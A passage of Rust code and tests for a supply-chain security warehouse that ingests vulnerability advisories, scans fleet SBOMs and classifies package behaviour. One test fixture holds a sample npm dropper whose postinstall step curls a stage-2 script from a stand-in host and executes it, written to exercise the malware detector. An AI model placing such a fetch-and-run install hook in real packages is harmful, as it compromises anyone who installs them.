Field::new("artifact_id", DataType::Utf8, false),
Field::new("repo", DataType::Utf8, false),
// the verified artifact content hash + the recovered signer identity
Field::new("blob_sha256", DataType::Utf8, false),
Field::new("signer", DataType::Utf8, false),
// the VERIFY verdict + its human reason
Field::new("verified", DataType::Boolean, false),
Field::new("reason", DataType::Utf8, false),
Field::new("ts_micros", DataType::Int64, false),
])
}
fn tripwire_events_schema() -> ArrowSchema {
ArrowSchema::new(vec![
Field::new("tripwire", DataType::Utf8, false),
Field::new("severity", DataType::Utf8, false),
Field::new("id", DataType::Utf8, false),
Field::new("summary", DataType::Utf8, false),
Field::new("snapshot", DataType::Utf8, false),
Field::new("ts_micros", DataType::Int64, false),
])
}
#[cfg(test)]
mod tests {
use super::*;
use crate::core::Severity;
use crate::scan::Advisory;
/// A unique scratch directory for an isolated catalog (skade is single-writer
/// per catalog, so each test gets its own).
fn temp_root(tag: &str) -> std::path::PathBuf {
let nanos = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_nanos();
let dir = std::env::temp_dir().join(format!("modgunn-wh-{tag}-{nanos}"));
std::fs::create_dir_all(&dir).unwrap();
dir
}
/// **RED-when-broken: `qualified` routes by ownership × zone.** A modgunn-OWNED
/// table follows the handle's zone namespace (`modgunn_<zone>`); the one
/// nornir-OWNED table modgunn reads (`sbom_components`) ALWAYS resolves to
/// nornir's namespace, wherever the modgunn zone is — otherwise a zoned scan
/// would look for nornir's SBOM in the wrong place and read nothing.
#[test]
fn qualified_routes_owned_by_zone_but_sbom_by_nornir() {
let root = temp_root("qual");
let test = Warehouse::open_in_zone(&root, Zone::Test).unwrap();
assert_eq!(test.namespace(), "modgunn_test");
// modgunn-owned → the zone namespace.
assert_eq!(
test.qualified(TABLE_CVE_ADVISORIES),
"modgunn_test.cve_advisories"
);
assert_eq!(
test.qualified(TABLE_BUILD_PROVENANCE),
"modgunn_test.build_provenance"
);
// nornir-owned SBOM capture → nornir's namespace, independent of the zone.
assert_eq!(
test.qualified(TABLE_SBOM_COMPONENTS),
"nornir.sbom_components"
);
drop(test);
// The legacy (pre-zone) handle keeps every table in the shared nornir namespace.
let legacy = Warehouse::open(&root).unwrap();
assert_eq!(
legacy.qualified(TABLE_CVE_ADVISORIES),
"nornir.cve_advisories"
);
assert_eq!(
legacy.qualified(TABLE_SBOM_COMPONENTS),
"nornir.sbom_components"
);
std::fs::remove_dir_all(&root).ok();
}
#[test]
fn advisory_db_round_trips_latest_revision_wins() {
let root = temp_root("adv");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
wh.append_advisories(
"rev-1",
&[Advisory::basic(
"CVE-1",
"cargo",
"foo",
vec!["1.0.0".into()],
Severity::High,
"old",
)],
)
.unwrap();
let db1 = wh.load_advisory_db(None).unwrap();
assert_eq!(db1.rev, "rev-1");
assert_eq!(db1.advisories.len(), 1);
// A newer revision supersedes on read (append-only, latest rev wins).
wh.append_advisories(
"rev-2",
&[
Advisory::basic(
"CVE-1",
"cargo",
"foo",
vec!["1.0.0".into()],
Severity::High,
"new",
),
Advisory::basic("CVE-2", "npm", "bar", vec![], Severity::Low, "low"),
],
)
.unwrap();
let db2 = wh.load_advisory_db(None).unwrap();
assert_eq!(db2.rev, "rev-2");
assert_eq!(db2.advisories.len(), 2, "only the latest revision's rows");
// Ecosystem-scoped read.
let cargo = wh.load_advisory_db(Some("cargo")).unwrap();
assert!(cargo.advisories.iter().all(|a| a.ecosystem == "cargo"));
std::fs::remove_dir_all(&root).ok();
}
#[test]
fn rev_sort_key_orders_numerically_not_lexically() {
// The regression: lexically "rev-10" < "rev-9", which would pick the stale
// db. Natural order must rank rev-10 above rev-9 (and rev-100 above both).
assert!(rev_sort_key("rev-10") > rev_sort_key("rev-9"));
assert!(rev_sort_key("rev-100") > rev_sort_key("rev-10"));
assert!(rev_sort_key("rev-2") > rev_sort_key("rev-1"));
// No trailing digits → lexical fallback on the whole string.
assert!(rev_sort_key("beta") < rev_sort_key("ga"));
}
#[test]
fn advisory_db_latest_revision_is_numeric_not_lexical() {
let root = temp_root("revnum");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
wh.append_advisories(
"rev-9",
&[Advisory::basic(
"CVE-9",
"cargo",
"foo",
vec!["1.0.0".into()],
Severity::High,
"nine",
)],
)
.unwrap();
// rev-10 is lexically *below* rev-9 but must win as the latest generation.
wh.append_advisories(
"rev-10",
&[Advisory::basic(
"CVE-10",
"cargo",
"bar",
vec!["2.0.0".into()],
Severity::High,
"ten",
)],
)
.unwrap();
let db = wh.load_advisory_db(None).unwrap();
assert_eq!(
db.rev, "rev-10",
"rev-10 must outrank rev-9 (natural order)"
);
assert!(db.advisories.iter().any(|a| a.id == "CVE-10"));
assert!(
db.advisories.iter().all(|a| a.id != "CVE-9"),
"stale rev-9 rows excluded"
);
std::fs::remove_dir_all(&root).ok();
}
/// `open_read_only` is lock-tolerant (the live-server scenario): with a writer
/// still holding `catalog.redb`, it copies the catalog aside and reads the
/// latest committed advisories from the snapshot instead of contending.
#[test]
fn open_read_only_reads_while_writer_holds_the_lock() {
let root = temp_root("ro");
let writer = Warehouse::open(&root).unwrap();
writer.ensure_modgunn_tables().unwrap();
writer
.append_advisories(
"rev-1",
&[Advisory::basic(
"CVE-RO",
"cargo",
"foo",
vec!["1.0.0".into()],
Severity::High,
"x",
)],
)
.unwrap();
// Writer is STILL OPEN (holds the redb lock) — a plain open contends.
assert!(
Warehouse::open(&root).is_err(),
"a second writer open must contend"
);
// open_read_only snapshots the locked catalog and reads it anyway.
let ro = Warehouse::open_read_only(&root).unwrap();
let db = ro.load_advisory_db(Some("cargo")).unwrap();
assert_eq!(db.rev, "rev-1");
assert_eq!(db.advisories.len(), 1);
assert_eq!(db.advisories[0].id, "CVE-RO");
drop(ro);
drop(writer);
std::fs::remove_dir_all(&root).ok();
}
/// schema v2: an advisory's ranges / aliases / withdrawn / source survive the
/// Iceberg round-trip, and a range-native row matches by `affected_by` after
/// being read straight out of the warehouse.
#[test]
fn advisory_v2_columns_round_trip_and_match_range_native() {
use crate::core::ArtifactRef;
use crate::versions::RangeEvent::{Fixed, Introduced};
let root = temp_root("adv-v2");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
let adv = Advisory::basic(
"CVE-V2",
"cargo",
"widget",
vec![],
Severity::High,
"ranged",
)
.with_ranges(vec![Introduced("1.0.0".into()), Fixed("1.2.0".into())])
.with_aliases(["GHSA-aaaa", "RUSTSEC-2026-0001"])
.with_source("osv");
wh.append_advisories("rev-v2", &[adv]).unwrap();
let db = wh.load_advisory_db(Some("cargo")).unwrap();
assert_eq!(db.rev, "rev-v2");
let got = &db.advisories[0];
assert_eq!(got.ranges.len(), 1, "one range object survived as JSON");
assert_eq!(got.ranges[0].len(), 2, "with both its events");
assert!(
got.aliases.iter().any(|a| a == "GHSA-aaaa"),
"aliases survived"
);
assert_eq!(got.source, "osv");
assert!(!got.withdrawn);
// The reloaded row still matches range-native.
let aref = |v: &str| ArtifactRef {
ecosystem: "cargo".into(),
name: "widget".into(),
version: v.into(),
blob_sha256: String::new(),
};
assert!(got.matches(&aref("1.1.0")), "inside range after reload");
assert!(!got.matches(&aref("1.2.0")), "fixed bound after reload");
std::fs::remove_dir_all(&root).ok();
}
/// P1 end-to-end (offline): two OSV docs (a CVE + a GHSA aliasing it) →
/// `parse_and_merge` (range-native, deduped) → `append_advisories` → reload →
/// the merged, range-native advisory matches a vulnerable version straight out
/// of the warehouse. The whole secure-side import path, no network.
#[test]
fn osv_ingest_to_warehouse_matches_range_native() {
use crate::core::ArtifactRef;
let root = temp_root("osv-ingest");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
let from_nvd = r#"{ "id": "CVE-2026-0001",
"affected": [ { "package": { "ecosystem": "crates.io", "name": "widget" },
"ranges": [ { "events": [ { "introduced": "1.0.0" }, { "fixed": "1.2.0" } ] } ] } ],
"database_specific": { "severity": "MODERATE" } }"#;
let from_ghsa = r#"{ "id": "GHSA-xxxx", "aliases": ["CVE-2026-0001"],
"affected": [ { "package": { "ecosystem": "crates.io", "name": "widget" },
"versions": ["1.1.0"] } ],
"database_specific": { "severity": "HIGH" } }"#;
let corpus = crate::osv::parse_and_merge([from_nvd, from_ghsa]);
assert_eq!(corpus.len(), 1, "deduped to one before write");
wh.append_advisories("2026-06-29-osv", &corpus).unwrap();
let db = wh.load_advisory_db(Some("cargo")).unwrap();
let aref = |v: &str| ArtifactRef {
ecosystem: "cargo".into(),
name: "widget".into(),
version: v.into(),
blob_sha256: String::new(),
};
assert!(
!db.query(&aref("1.1.0")).is_empty(),
"vulnerable 1.1.0 flagged from warehouse"
);
assert!(db.query(&aref("1.2.0")).is_empty(), "fixed 1.2.0 is clean");
std::fs::remove_dir_all(&root).ok();
}
/// Seed (creating if needed) the `sbom_components` table with `(repo, name,
/// version, license)` rows — stands in for nornir's SBOM writer.
fn seed_sbom(wh: &Warehouse, rows: &[(&str, &str, &str, &str)]) {
wh.rt.block_on(async {
let schema = ArrowSchema::new(vec![
Field::new("repo", DataType::Utf8, false),
Field::new("name", DataType::Utf8, false),
Field::new("version", DataType::Utf8, false),
Field::new("license", DataType::Utf8, false),
]);
wh.inner
.table_or_create(&wh.qualified("sbom_components"), &schema)
.await
.unwrap();
let batch = RecordBatch::try_new(
Arc::new(schema),
vec![
str_array(rows.iter().map(|r| r.0.to_string()).collect()),
str_array(rows.iter().map(|r| r.1.to_string()).collect()),
str_array(rows.iter().map(|r| r.2.to_string()).collect()),
str_array(rows.iter().map(|r| r.3.to_string()).collect()),
],
)
.unwrap();
let mut t = wh
.inner
.table(&wh.qualified("sbom_components"))
.await
.unwrap();
t.append(std::slice::from_ref(&batch)).await.unwrap();
});
}
/// P5 fleet scan: a vulnerable component is flagged in EVERY repo it appears in,
/// joining the whole SBOM against the advisory db in one sweep.
#[test]
fn fleet_scan_joins_whole_sbom_against_advisories() {
let root = temp_root("fleet");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
wh.append_advisories(
"rev1",
&[Advisory::basic(
"RUSTSEC-X",
"cargo",
"openssl",
vec!["0.10.55".into()],
Severity::High,
"use-after-free",
)],
)
.unwrap();
seed_sbom(
&wh,
&[
("repoA", "openssl", "0.10.55", "MIT"),
("repoA", "serde", "1.0.0", "MIT"),
("repoB", "openssl", "0.10.55", "MIT"),
],
);
let findings = wh.scan_fleet().unwrap();
assert_eq!(findings.len(), 2, "openssl flagged in both repoA and repoB");
assert!(findings
.iter()
.all(|f| f.advisory_id == "RUSTSEC-X" && f.name == "openssl"));
assert!(findings.iter().any(|f| f.repo == "repoA"));
assert!(findings.iter().any(|f| f.repo == "repoB"));
std::fs::remove_dir_all(&root).ok();
}
/// **Engine A ≡ Engine B through the REAL warehouse fan-out.** The engine-level
/// unit tests (`engine.rs`) prove the two strategies agree on in-memory fixtures,
/// and `benches/engine_ab.rs` asserts equality on a huge synthetic corpus — but
/// nothing pinned the equivalence through the *production warehouse path*
/// (`scan_fleet_with` → `scan_components` gatling fan-out over rows loaded out of
/// Iceberg), which is exactly what the `warehouse scan --engine b` CLI drives.
/// This seeds a genuine warehouse with a spread of exact / OSV-range / all-version
/// / withdrawn advisories plus a multi-repo SBOM (matching, non-matching, and
/// fixed-version rows), then asserts the linear (A) and inverted-index (B) fleet
/// scans return the identical finding set. Guards the `--engine b` warehouse path
/// against a silent divergence the engine-level tests can't see.
#[test]
fn warehouse_fleet_scan_engine_a_equals_engine_b() {
use crate::versions::RangeEvent::{Fixed, Introduced};
let root = temp_root("ab-warehouse");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
// Components are stored under DEFAULT_ECOSYSTEM (cargo), so the matching
// advisories are cargo-scoped; the npm row must therefore never match.
wh.append_advisories(
"rev1",
&[
Advisory::basic(
"A-EXACT",
"cargo",
"openssl",
vec!["0.10.55".into()],
Severity::High,
"uaf",
),
Advisory::basic(
"A-RANGE",
"cargo",
"widget",
vec![],
Severity::Medium,
"ranged",
)
.with_ranges(vec![Introduced("1.0.0".into()), Fixed("1.2.0".into())]),
Advisory::basic(
"A-ALL",
"cargo",
"left-pad",
vec![],
Severity::Low,
"all versions",
),
{
let mut w = Advisory::basic(
"A-GONE",
"cargo",
"openssl",
vec!["0.10.55".into()],
Severity::Critical,
"withdrawn",
);
w.withdrawn = true;
w
},
// Second openssl advisory — bucket order must be preserved by B.
Advisory::basic(
"A-EXACT2",
"cargo",
"openssl",
vec!["0.10.55".into()],
Severity::Low,
"second",
),
// Wrong ecosystem: never matches a DEFAULT_ECOSYSTEM component.
Advisory::basic(
"A-NPM",
"npm",
"openssl",
vec!["0.10.55".into()],
Severity::High,
"npm-only",
),
],
)
.unwrap();
seed_sbom(
&wh,
&[
("repoA", "openssl", "0.10.55", "MIT"), // two cargo advisories (withdrawn suppressed)
("repoA", "widget", "1.1.0", "MIT"), // in range
("repoA", "widget", "1.2.0", "MIT"), // fixed — clean
("repoB", "openssl", "0.10.55", "MIT"), // same vuln, second repo
("repoB", "left-pad", "9.9.9", "MIT"), // all-versions hit
("repoB", "serde", "1.0.0", "MIT"), // no advisory — clean
],
);
let mut a = wh.scan_fleet_with(EngineKind::A).unwrap();
let mut b = wh.scan_fleet_with(EngineKind::B).unwrap();
// FleetFinding is not Ord; sort both by a stable key before comparing.
let key = |f: &FleetFinding| {
(
f.repo.clone(),
f.name.clone(),
f.version.clone(),
f.advisory_id.clone(),
)
};
a.sort_by_key(key);
b.sort_by_key(key);
assert_eq!(
a, b,
"Engine A and Engine B must produce identical warehouse fleet findings"
);
// Anchor the corpus is non-degenerate: openssl (2 live advisories × 2 repos)
// + widget-in-range + left-pad-all = 6 findings; the withdrawn + npm + fixed
// + serde rows contribute none.
assert_eq!(
a.len(),
6,
"expected finding set: 2×2 openssl + widget + left-pad"
);
assert!(
a.iter().all(|f| f.advisory_id != "A-GONE"),
"withdrawn advisory never fires"
);
assert!(
a.iter().all(|f| f.advisory_id != "A-NPM"),
"wrong-ecosystem advisory never fires"
);
assert!(
!a.iter().any(|f| f.name == "widget" && f.version == "1.2.0"),
"fixed version is clean"
);
std::fs::remove_dir_all(&root).ok();
}
/// The fleet rollup summary the `warehouse scan` / `warehouse rollup` CLI prints
/// is folded from the REAL fleet-scan findings: it names each affected repo, its
/// per-repo health score (< 100 with a finding), the worst severity, and the
/// most-flagged component. This is the wired `rollup_fleet_findings` +
/// `render_fleet_summary` path over a genuine warehouse scan.
#[test]
fn fleet_rollup_summary_renders_per_repo_health_from_a_real_scan() {
let root = temp_root("rollup-sum");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
wh.append_advisories(
"rev1",
&[Advisory::basic(
"RUSTSEC-X",
"cargo",
"openssl",
vec!["0.10.55".into()],
Severity::Critical,
"uaf",
)],
)
.unwrap();
seed_sbom(
&wh,
&[
("repoA", "openssl", "0.10.55", "MIT"),
("repoA", "serde", "1.0.0", "MIT"),
("repoB", "openssl", "0.10.55", "MIT"),
],
);
let findings = wh.scan_fleet().unwrap();
assert_eq!(findings.len(), 2, "openssl flagged in both repos");
let rollup = crate::rollup::rollup_fleet_findings(&findings);
assert_eq!(rollup.affected_repos, 2);
let text = crate::rollup::render_fleet_summary(&rollup);
assert!(
text.contains("2 repo(s) affected"),
"affected-repo count: {text}"
);
assert!(
text.contains("repoA") && text.contains("repoB"),
"both repos named: {text}"
);
assert!(
text.contains("critical"),
"the critical worst-severity surfaces: {text}"
);
// A critical finding drops each repo's health score below 100.
assert!(
!text.contains("health 100.0"),
"a finding drops the health score: {text}"
);
assert!(
text.contains("openssl×2"),
"openssl is the top-flagged component: {text}"
);
std::fs::remove_dir_all(&root).ok();
}
/// P5 CDC: after a watermark, only the NEWLY-added components are re-scanned —
/// the streaming-delta path never rescans the whole world.
#[test]
fn cdc_delta_scans_only_newly_added_components() {
let root = temp_root("cdc-fleet");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
wh.append_advisories(
"rev1",
&[Advisory::basic(
"RUSTSEC-X",
"cargo",
"openssl",
vec!["0.10.55".into()],
Severity::High,
"uaf",
)],
)
.unwrap();
// First capture is clean (no vulnerable component).
seed_sbom(&wh, &[("repoA", "serde", "1.0.0", "MIT")]);
assert!(wh.scan_fleet().unwrap().is_empty(), "no vuln yet");
let watermark = wh.current_snapshot_id("sbom_components").unwrap();
// A new capture adds a vulnerable component.
seed_sbom(&wh, &[("repoA", "openssl", "0.10.55", "MIT")]);
let (delta, to) = wh.scan_sbom_delta(watermark).unwrap();
assert_eq!(delta.len(), 1, "only the newly-added openssl is scanned");
assert_eq!(delta[0].name, "openssl");
assert!(to.is_some());
// Re-polling from the new watermark sees nothing new.
let (none, _) = wh.scan_sbom_delta(to).unwrap();
assert!(none.is_empty(), "delta is empty once caught up");
std::fs::remove_dir_all(&root).ok();
}
/// P5 variant B: the DataFusion SQL pushdown returns exactly the same findings
/// as the in-memory fleet scan (just a different cost profile).
#[cfg(feature = "warehouse-sql")]
#[test]
fn fleet_scan_sql_matches_in_memory() {
let root = temp_root("fleet-sql");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
wh.append_advisories(
"rev1",
&[Advisory::basic(
"RUSTSEC-X",
"cargo",
"openssl",
vec!["0.10.55".into()],
Severity::High,
"uaf",
)],
)
.unwrap();
seed_sbom(
&wh,
&[
("repoA", "openssl", "0.10.55", "MIT"),
("repoA", "serde", "1.0.0", "MIT"),
("repoB", "openssl", "0.10.55", "MIT"),
],
);
let key = |f: &FleetFinding| (f.repo.clone(), f.name.clone(), f.advisory_id.clone());
let mut sql = wh.scan_fleet_sql().unwrap();
let mut mem = wh.scan_fleet().unwrap();
sql.sort_by_key(key);
mem.sort_by_key(key);
assert_eq!(sql, mem, "SQL pushdown == in-memory fleet scan");
assert_eq!(sql.len(), 2, "openssl flagged in repoA + repoB");
std::fs::remove_dir_all(&root).ok();
}
/// RED-when-reverted: the SQL pushdown must pick the latest generation the SAME
/// way the in-memory path does — the GLOBAL max db_rev, not the max over only the
/// join-surviving rows. A later generation (`rev2`) with NO advisory for any fleet
/// component makes the two diverge if SQL maxes over candidates: in-memory sees
/// `rev2` as latest (no openssl advisory there) → 0 findings, while a candidate-max
/// SQL resurrects the stale `rev1` openssl advisory → 1 finding. They must agree.
#[cfg(feature = "warehouse-sql")]
#[test]
fn fleet_scan_sql_latest_gen_is_global_not_candidate_scoped() {
let root = temp_root("fleet-sql-gen");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
// rev1: the openssl advisory that matches the fleet component.
wh.append_advisories(
"rev1",
&[Advisory::basic(
"RUSTSEC-X",
"cargo",
"openssl",
vec!["0.10.55".into()],
Severity::High,
"uaf",
)],
)
.unwrap();
// rev2 (the true latest): an unrelated advisory, no openssl → openssl is NOT
// in the latest generation, so the correct verdict is 0 findings.
wh.append_advisories(
"rev2",
&[Advisory::basic(
"RUSTSEC-Y",
"cargo",
"some-other-crate",
vec!["1.0.0".into()],
Severity::High,
"x",
)],
)
.unwrap();
seed_sbom(&wh, &[("repoA", "openssl", "0.10.55", "MIT")]);
let mem = wh.scan_fleet().unwrap();
let sql = wh.scan_fleet_sql().unwrap();
assert!(
mem.is_empty(),
"openssl advisory is in the stale rev1, not the latest rev2"
);
assert_eq!(
sql, mem,
"SQL must pick the GLOBAL latest gen (rev2) like in-memory, not resurrect rev1"
);
std::fs::remove_dir_all(&root).ok();
}
/// Seed `sbom_components` rows tagged with a `snapshot_id` (for A30 drift).
fn seed_sbom_snap(wh: &Warehouse, snapshot_id: &str, rows: &[(&str, &str, &str)]) {
wh.rt.block_on(async {
let schema = ArrowSchema::new(vec![
Field::new("snapshot_id", DataType::Utf8, false),
Field::new("repo", DataType::Utf8, false),
Field::new("name", DataType::Utf8, false),
Field::new("version", DataType::Utf8, false),
]);
wh.inner
.table_or_create(&wh.qualified("sbom_components"), &schema)
.await
.unwrap();
let n = rows.len();
let batch = RecordBatch::try_new(
Arc::new(schema),
vec![
str_array(vec![snapshot_id.to_string(); n]),
str_array(rows.iter().map(|r| r.0.to_string()).collect()),
str_array(rows.iter().map(|r| r.1.to_string()).collect()),
str_array(rows.iter().map(|r| r.2.to_string()).collect()),
],
)
.unwrap();
let mut t = wh
.inner
.table(&wh.qualified("sbom_components"))
.await
.unwrap();
t.append(std::slice::from_ref(&batch)).await.unwrap();
});
}
/// A30: drift between two SBOM snapshots reports what entered and what left.
#[test]
fn sbom_drift_reports_entered_and_left() {
let root = temp_root("drift");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
seed_sbom_snap(
&wh,
"snapA",
&[("r", "serde", "1.0.0"), ("r", "openssl", "0.10.0")],
);
seed_sbom_snap(
&wh,
"snapB",
&[("r", "serde", "1.0.0"), ("r", "tokio", "1.40.0")],
);
let (entered, left) = wh.sbom_drift("snapA", "snapB").unwrap();
assert!(
entered.contains(&("tokio".to_string(), "1.40.0".to_string())),
"tokio entered"
);
assert!(
left.contains(&("openssl".to_string(), "0.10.0".to_string())),
"openssl left"
);
assert!(
!entered.iter().any(|(n, _)| n == "serde"),
"unchanged serde not in drift"
);
std::fs::remove_dir_all(&root).ok();
}
/// Scorecard signals round-trip through their warehouse table.
#[test]
fn scorecard_round_trips() {
let root = temp_root("scorecard");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
wh.append_scorecard(&[ScorecardSignals {
subject: "crate-a".into(),
overall: 3.2,
maintained: false,
branch_protection: false,
signed_releases: false,
dangerous_workflow: true,
}])
.unwrap();
let got = wh.load_scorecard().unwrap();
assert_eq!(got.len(), 1);
assert_eq!(got[0].subject, "crate-a");
assert!((got[0].overall - 3.2).abs() < 1e-9);
assert!(got[0].dangerous_workflow);
assert!(!got[0].maintained);
std::fs::remove_dir_all(&root).ok();
}
/// A23: a persisted `PackageBehavior` reads back field-identical (the full
/// feature vector) AND carries its derived verdict (worst severity + finding
/// ids). RED-when-broken: a mutation to ANY feature field (below) diverges the
/// round-trip, so a writer/reader that drops a column fails this. Verified red by
/// asserting the loaded record equals a *mutated* expectation — see the negative
/// leg at the end.
#[test]
fn package_behavior_round_trips_field_identical() {
use crate::behavior::parse_npm_package;
let root = temp_root("behavior-features");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
// A genuine npm dropper: a postinstall that curls + pipes a stage-2 payload,
// so the vector carries hooks + network + a URL + a sensitive API (a High
// verdict) — every feature-field is exercised, not a trivial all-default row.
let dropper = r#"{
"name": "evil-pkg",
"scripts": {
"postinstall": "curl https://evil.example/stage2.sh | node -e 'require(\"child_process\").exec(atob(\"…\"))'"
}
}"#;
let behavior = parse_npm_package(dropper).unwrap();
// Sanity: the fixture actually populates the vector we mean to round-trip.
assert!(behavior.network_in_install, "fixture must trip network");
assert!(
!behavior.install_hooks.is_empty(),
"fixture must declare a hook"
);
assert!(
!behavior.sensitive_apis.is_empty(),
"fixture must touch a sensitive API"
);
assert!(behavior.url_count >= 1, "fixture must reference a URL");
wh.append_package_behavior("npm", &behavior).unwrap();
let got = wh.load_package_behaviors().unwrap();
assert_eq!(got.len(), 1, "one analysis persisted");
let rec = &got[0];
// The FULL feature vector round-trips byte/field-identical — the RED-when-broken
// core: drop or corrupt any persisted column and this `==` fails.
assert_eq!(
rec.behavior, behavior,
"PackageBehavior round-trips field-identical"
);
assert_eq!(rec.ecosystem, "npm");
assert_eq!(
rec.worst_severity,
Some(Severity::High),
"dropper verdict is High"
);
assert!(
rec.finding_ids
.contains(&"MODGUNN-BEHAVIOR-NETWORK-IN-INSTALL".to_string()),
"the High network finding id is persisted for querying",
);
// Latest-per-(ecosystem,subject) wins: re-persist the SAME subject with a
// benign vector and the read collapses to the newer, clean generation. Sleep
// so the second write's `now_micros()` is strictly newer (no tie to resolve).
std::thread::sleep(std::time::Duration::from_millis(2));
let benign =
parse_npm_package(r#"{ "name": "evil-pkg", "scripts": { "test": "jest" } }"#).unwrap();
wh.append_package_behavior("npm", &benign).unwrap();
let after = wh.load_package_behaviors().unwrap();
assert_eq!(
after.len(),
1,
"same (ecosystem,subject) collapses to latest"
);
assert_eq!(after[0].worst_severity, None, "latest generation is clean");
assert!(!after[0].behavior.network_in_install);
// Negative leg (proves the equality is load-bearing, not vacuous): a mutated
// expectation must NOT match the faithfully-persisted record.
let mut mutated = behavior.clone();
mutated.url_count += 1;
assert_ne!(
rec.behavior, mutated,
"a mutated field must diverge the round-trip"
);
std::fs::remove_dir_all(&root).ok();
}
/// End-to-end regression guard for the whole verdict pipeline: an imported
/// advisory × a seeded fleet SBOM → `scan_fleet` finds the vuln → materialize into
/// `vuln_findings` → read it back purl-keyed. Proves the pieces this loop built
/// (advisory ingest, the fleet join, the b1 materialization) compose, not just
/// round-trip in isolation.
#[test]
fn end_to_end_advisory_to_materialized_finding() {
let root = temp_root("e2e-verdict");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
// An advisory for openssl 0.10.55 (cargo = the DEFAULT_ECOSYSTEM the fleet scan assumes).
wh.append_advisories(
"rev1",
&[Advisory::basic(
"RUSTSEC-2023-0044",
"cargo",
"openssl",
vec!["0.10.55".into()],
Severity::High,
"uaf",
)],
)
.unwrap();
// A fleet SBOM: the vulnerable openssl + a clean serde.
seed_sbom(
&wh,
&[
("repoA", "openssl", "0.10.55", "MIT"),
("repoA", "serde", "1.0.0", "MIT"),
],
);
// The fleet join surfaces exactly the openssl finding.
let findings = wh.scan_fleet().unwrap();
assert_eq!(findings.len(), 1, "only the vulnerable openssl matches");
assert_eq!(findings[0].advisory_id, "RUSTSEC-2023-0044");
// Materialize → read back, purl-keyed for the Mímir join.
wh.append_vuln_findings("snap-1", &findings).unwrap();
assert_eq!(
wh.read_vuln_findings("snap-1").unwrap(),
vec![StoredFinding {
repo: "repoA".to_string(),
purl: "pkg:cargo/openssl@0.10.55".to_string(),
advisory_id: "RUSTSEC-2023-0044".to_string(),
severity: "high".to_string(),
// No closure was walked, so the honest verdict is a present-vuln HOLD
// — never a refuse (that is reserved for evidence-backed danger).
verdict: "Warn".to_string(),
axis: "present-vuln".to_string(),
rank: 3,
}],
"the finding flowed advisory×sbom → scan → vuln_findings intact, verdict decided"
);
std::fs::remove_dir_all(&root).ok();
}
#[test]
fn vuln_findings_materialize_round_trip() {
let root = temp_root("vulnfind");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
let findings = vec![FleetFinding {
repo: "repoA".into(),
ecosystem: "cargo".into(),
name: "openssl".into(),
version: "0.10.55".into(),
advisory_id: "RUSTSEC-2023-0044".into(),
severity: Severity::High,
kev: false,
summary: "use after free".into(),
}];
wh.append_vuln_findings("snap-v", &findings).unwrap();
let got = wh.read_vuln_findings("snap-v").unwrap();
assert_eq!(
got,
vec![StoredFinding {
repo: "repoA".to_string(),
purl: "pkg:cargo/openssl@0.10.55".to_string(), // purl key for the Mímir join
advisory_id: "RUSTSEC-2023-0044".to_string(),
severity: "high".to_string(), // warehouse canonical severity encoding (lowercase)
verdict: "Warn".to_string(),
axis: "present-vuln".to_string(),
rank: 3,
}]
);
assert_eq!(got[0].label(), "hold");
assert!(
wh.read_vuln_findings("other").unwrap().is_empty(),
"snapshot-keyed"
);
// The SAME finding with the KEV flag set is a REFUSE on the kev-cascade axis,
// decided by modgunn at persist time — the b3 escalation the Mímir lens reads
// off the row instead of re-deriving. Dropping the `kev` column from
// `FleetFinding` (or the classify call from the writer) turns this red.
let kev_findings = vec![FleetFinding {
kev: true,
..findings[0].clone()
}];
wh.append_vuln_findings("snap-kev", &kev_findings).unwrap();
let kev_row = &wh.read_vuln_findings("snap-kev").unwrap()[0];
assert_eq!(
(kev_row.verdict.as_str(), kev_row.axis.as_str()),
("Block", "kev-cascade")
);
assert_eq!(kev_row.label(), "refuse");
assert!(
kev_row.rank > got[0].rank,
"in-the-wild evidence outranks a plain present-vuln"
);
// A registry pull-back holds on the yank axis, NOT the present-vuln axis —
// the b3 cascade the lens buckets separately.
let yank = vec![FleetFinding {
advisory_id: "MODGUNN-YANK-cargo-openssl-0.10.55".into(),
severity: Severity::Low,
summary: "yanked; upgrade to 0.10.57".into(),
..findings[0].clone()
}];
wh.append_vuln_findings("snap-yank", &yank).unwrap();
let yank_row = &wh.read_vuln_findings("snap-yank").unwrap()[0];
assert_eq!(
(yank_row.verdict.as_str(), yank_row.axis.as_str()),
("Warn", "yank-cascade")
);
// An OpenSSF malicious-package row refuses unconditionally (b2).
let mal = vec![FleetFinding {
advisory_id: "MAL-2024-1234".into(),
severity: Severity::Critical,
summary: "malicious package: credential stealer".into(),
..findings[0].clone()
}];
wh.append_vuln_findings("snap-mal", &mal).unwrap();
let mal_row = &wh.read_vuln_findings("snap-mal").unwrap()[0];
assert_eq!(
(mal_row.verdict.as_str(), mal_row.axis.as_str()),
("Block", "malicious-dep")
);
std::fs::remove_dir_all(&root).ok();
}
/// b6 end-to-end through a real warehouse: corpus → `ioc_indicators` → rebuilt
/// index → observable match → decided verdict. The two edges that matter are
/// pinned: a benign observable produces NO row (the 🟢 act leg needs no record),
/// and an IPv4 inside a bad CIDR hits by containment while reporting the NETWORK
/// it fell into, not the IP — the consumer must be able to show which block.
#[test]
fn ioc_scan_b6_join_verdicts_only_the_bad_observables() {
use crate::ioc::{Ioc, IocKind};
let root = temp_root("iocscan");
let wh = Warehouse::open(&root).unwrap();
wh.ensure_modgunn_tables().unwrap();
wh.append_iocs(
"ioc-1",
&[
Ioc::new(
